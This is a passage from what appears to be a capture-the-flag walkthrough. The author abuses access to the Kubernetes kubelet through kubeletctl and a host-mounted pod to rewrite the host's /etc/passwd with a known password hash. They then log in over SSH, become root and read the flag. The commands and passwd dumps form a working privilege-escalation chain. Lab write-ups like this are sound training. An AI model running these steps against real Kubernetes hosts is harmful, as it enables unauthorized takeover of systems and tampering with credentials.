www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
We need to modify the password for user
in order to access via SSH (I tried first with root
but it did not work, maybe SSH using password is disabled).
For this purpose, we can use sed
again avoiding quotation marks and special characters. The password that we are going to set is asdf
in DES Unix format:
$ openssl passwd asdf
J8Ufwh9mVJ3VI
$ ./kubeletctl run 'sed -i s/user:x/user:J8Ufwh9mVJ3VI/g /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
user:J8Ufwh9mVJ3VI:1000:1000:user,,,:/home/user:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
We observe that the password is set. Now we can enter using SSH:
$ ssh user@10.10.11.133
user@10.10.11.133's password:
user@steamcloud:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
We cannot run sudo
but we can change the password for root
:
$ ./kubeletctl run 'sed -i s/root:x/root:J8Ufwh9mVJ3VI/g /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
root:J8Ufwh9mVJ3VI:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
user:J8Ufwh9mVJ3VI:1000:1000:user,,,:/home/user:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Now we simply add asdf
as password and we are root
:
user@steamcloud:~$ su root
Password:
root@steamcloud:/home/user# cat /root/root.txt
61f3bca8afe7785058a1be1972592526